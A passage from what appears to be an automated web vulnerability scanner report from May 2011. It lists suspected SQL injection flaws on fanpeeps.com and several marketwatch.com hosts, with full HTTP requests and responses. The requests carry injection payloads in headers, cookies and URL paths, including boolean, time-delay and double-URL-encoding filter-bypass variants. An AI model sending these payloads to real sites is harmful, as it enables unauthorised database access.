Path:	/twitterlib.js

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload 15737200'%20or%201%3d1--%20 was submitted in the User-Agent HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /twitterlib.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)15737200'%20or%201%3d1--%20
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:22 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17433

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.77. http://fanpeeps.com/twitterlib.js [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/twitterlib.js

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /twitterlib.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2',0,0,0)waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:10 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17401

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.78. http://fanpeeps.com/twitterlib.js [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/twitterlib.js

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmc cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the __utmc cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:31 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17327

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:31 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 53253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.79. http://fanpeeps.com/twitterlib.js [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://fanpeeps.com
Path:	/twitterlib.js

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmz cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /twitterlib.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:52 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17567

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
</b>: Invalid argument supplied for foreach() in <b>
...[SNIP]...

Request 2

GET /twitterlib.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)''; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:52 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.80. http://i1.marketwatch.com/MW5/content/images/favicon.ico [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i1.marketwatch.com
Path:	/MW5/content/images/favicon.ico

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 19831040'%20or%201%3d1--%20 and 19831040'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /MW5/content/images19831040'%20or%201%3d1--%20/favicon.ico HTTP/1.1
Host: i1.marketwatch.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; BIZO=biz=1053&

Response 1

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:18:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

Request 2

GET /MW5/content/images19831040'%20or%201%3d2--%20/favicon.ico HTTP/1.1
Host: i1.marketwatch.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; BIZO=biz=1053&

Response 2

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:18:35 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

1.81. http://i1.marketwatch.com/MW5/content/images/favicon.ico [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i1.marketwatch.com
Path:	/MW5/content/images/favicon.ico

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /MW5/content/images/favicon.ico'%20and%201%3d1--%20 HTTP/1.1
Host: i1.marketwatch.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; BIZO=biz=1053&

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:18:36 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Request 2

GET /MW5/content/images/favicon.ico'%20and%201%3d2--%20 HTTP/1.1
Host: i1.marketwatch.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; BIZO=biz=1053&

Response 2

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE3
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:18:36 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

1.82. http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i3.marketwatch.com
Path:	/MW5/content/story/css/story-typography.css

Issue detail

Request 1

GET /MW5'/content/story/css/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE3
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:10 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; cha
...[SNIP]...
<h2>HTTP Error 404 - File or directory not found.<br>
...[SNIP]...

Request 2

GET /MW5''/content/story/css/story-typography.css?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:10 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

1.83. http://i3.marketwatch.com/MW5/content/story/css/story-typography.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i3.marketwatch.com
Path:	/MW5/content/story/css/story-typography.css

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 5. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /MW5/content/story/css/story-typography.css'%20and%201%3d1--%20?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:14 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Request 2

GET /MW5/content/story/css/story-typography.css'%20and%201%3d2--%20?v3 HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE3
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:14 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

1.84. http://i4.marketwatch.com/MW5/content/story/css/story-layout.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i4.marketwatch.com
Path:	/MW5/content/story/css/story-layout.css

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 16831912'%20or%201%3d1--%20 and 16831912'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /MW516831912'%20or%201%3d1--%20/content/story/css/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:05 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Request 2

GET /MW516831912'%20or%201%3d2--%20/content/story/css/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:05 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

1.85. http://i4.marketwatch.com/MW5/content/story/css/story-layout.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i4.marketwatch.com
Path:	/MW5/content/story/css/story-layout.css

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 65568828'%20or%201%3d1--%20 and 65568828'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /MW5/content65568828'%20or%201%3d1--%20/story/css/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
